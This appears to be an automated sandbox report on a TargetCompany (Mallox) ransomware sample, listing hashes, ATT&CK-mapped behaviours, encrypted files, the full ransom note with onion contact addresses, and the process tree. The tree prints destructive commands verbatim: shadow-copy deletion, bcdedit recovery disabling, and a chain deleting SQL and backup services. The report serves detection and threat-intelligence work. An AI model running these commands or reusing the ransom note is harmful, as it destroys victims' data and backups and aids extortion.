targetcompany | 8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
30/05/2024, 13:29

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General

Target

8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
Size

347KB
MD5

8f402d93d54d9e6dfa608e74f2b108c1
SHA1

236ef8c57c8567bdd723acbeb645ac9cbfbe0880
SHA256

8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04
SHA512

65184154587bcf48411bbc1f279a1a5b40cbcbd8403d17e792f3f525e1cb9ce685741659584cdc8d2258ed29f7c2521085e8c796bd219050af754a0ac6351041
SSDEEP

6144:xPtDXH/S/IQUjXeQvBAOMJmwFT//4OQ334gx6AdFCxPor:h5Xy6XekBkFTH4xYgFwxPO

Score

10^/10

targetcompany defense_evasion evasion execution impact ransomware

Malware Config

Extracted

Path

F:\$RECYCLE.BIN\FILE RECOVERY.txt

Family

targetcompany

Ransom Note

Hello Your files are encrypted and can not be used To return your files in work condition you need decryption tool Follow the instructions to decrypt all your data Do not try to change or restore files yourself, this will break them If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB How to get decryption tool: 1) Download and install TOR browser by this link: https://www.torproject.org/download/ 2) If TOR blocked in your country and you can't access to the link then use any VPN software 3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin 4) Copy your private ID in the input field. Your Private key: 0BB3C89ED3804811F1FF4A9F 5) You will see payment information and we can make free test decryption here Our blog of leaked companies: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion If you are unable to contact us through the site, then you can email us: [email protected] Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site. �

Emails

[email protected]

URLs

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin

http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion

Signatures

TargetCompany,Mallox
TargetCompany (aka Mallox) is a ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
ransomware targetcompany
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (2602) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
3688	cmd.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\E:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\G:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\L:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\O:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\S:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\T:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\U:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\X:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\H:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\J:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\I:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\D:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\B:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\M:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\N:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\P:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\Q:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\R:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\V:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\A:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\K:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\W:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened (read-only)	\??\Z:	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	api.ipify.org

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\InitializeSplit.emz	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Pitcairn	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_zh_CN.jar	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Paper.xml	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Lime.css	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bishkek	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21328_.GIF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\DVD Maker\it-IT\OmdProject.dll.mui	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD00564_.WMF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0106146.WMF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151041.WMF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0332268.WMF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_zh_CN.jar	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\TaskbarIconImages256Colors.bmp	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ks_IN\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_ja_4.4.0.v20140623020002.jar	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaBrightDemiBold.ttf	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\Words.pdf	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert.css	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\IPIRM.XML	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\FORM98.POC	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File created	C:\Program Files\Mozilla Firefox\uninstall\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cayman	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\CONTACT.CFG	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\GrantMount.DVR-MS	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Scoresbysund	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground_PAL.wmv	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-options-keymap.xml	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPOlive.png	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\CST6CDT	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Microsoft Games\Mahjong\it-IT\Mahjong.exe.mui	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Oasis\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-actions.xml	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0215710.WMF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\bg_GreenTea.gif	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Oasis\HEADER.GIF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightOrange\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Synchronization Services\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-annotations-common.jar	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD10298_.GIF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FormsViewAttachmentIconsMask.bmp	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-sampler.xml	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01931J.JPG	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\INFOPATH_K_COL.HXK	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FormsPrintTemplate.html	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground_PAL.wmv	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\highlight.png	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\profile.jfc	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Stationery\1033\NOTEBOOK.HTM	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Microsoft Games\Minesweeper\FILE RECOVERY.txt	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\decorative_rule.png	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\jvm.cfg	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099165.JPG	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00017_.WMF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR2B.GIF	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1436	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2664	vssadmin.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3748	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
Token: SeDebugPrivilege	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
Token: SeBackupPrivilege	320	vssvc.exe
Token: SeRestorePrivilege	320	vssvc.exe
Token: SeAuditPrivilege	320	vssvc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2664	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	28
PID 2232 wrote to memory of 2664	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	28
PID 2232 wrote to memory of 2664	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	28
PID 2232 wrote to memory of 2664	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	28
PID 2232 wrote to memory of 1648	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	30
PID 2232 wrote to memory of 1648	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	30
PID 2232 wrote to memory of 1648	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	30
PID 2232 wrote to memory of 1648	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	30
PID 2232 wrote to memory of 3068	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	31
PID 2232 wrote to memory of 3068	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	31
PID 2232 wrote to memory of 3068	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	31
PID 2232 wrote to memory of 3068	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	31
PID 2232 wrote to memory of 1328	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	33
PID 2232 wrote to memory of 1328	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	33
PID 2232 wrote to memory of 1328	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	33
PID 2232 wrote to memory of 1328	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	33
PID 1648 wrote to memory of 1436	1648	cmd.exe	36
PID 1648 wrote to memory of 1436	1648	cmd.exe	36
PID 1648 wrote to memory of 1436	1648	cmd.exe	36
PID 1648 wrote to memory of 1436	1648	cmd.exe	36
PID 2232 wrote to memory of 3688	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	43
PID 2232 wrote to memory of 3688	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	43
PID 2232 wrote to memory of 3688	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	43
PID 2232 wrote to memory of 3688	2232	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe	43
PID 3688 wrote to memory of 3748	3688	cmd.exe	45
PID 3688 wrote to memory of 3748	3688	cmd.exe	45
PID 3688 wrote to memory of 3748	3688	cmd.exe	45
PID 3688 wrote to memory of 3748	3688	cmd.exe	45

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0"	8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe
"C:\Users\Admin\AppData\Local\Temp\8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe"
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2232
- C:\Windows\system32\vssadmin.exe
  "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2664
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\SysWOW64\sc.exe
    sc delete "MSSQLFDLauncher"
    3⤵
    - Launches sc.exe
    PID:1436
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  PID:3068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
  2⤵
  PID:1328
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\8ee70de7af7f22f072f09c7e1a780c9c915cf697d4a241cfbec1b0c00fa51c04.exe" >> NUL
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3748

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4522.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
F:\$RECYCLE.BIN\FILE RECOVERY.txt

Filesize
1KB

MD5
c881da4c92c394fc2f3e3485968f888a

SHA1
8f98c90d05f570d425a7eda3915450d5619f0d8c

SHA256
3c77722d6c35bc85369ec26172f92b1bde5f483a692607c73815ffcbb82fae11

SHA512
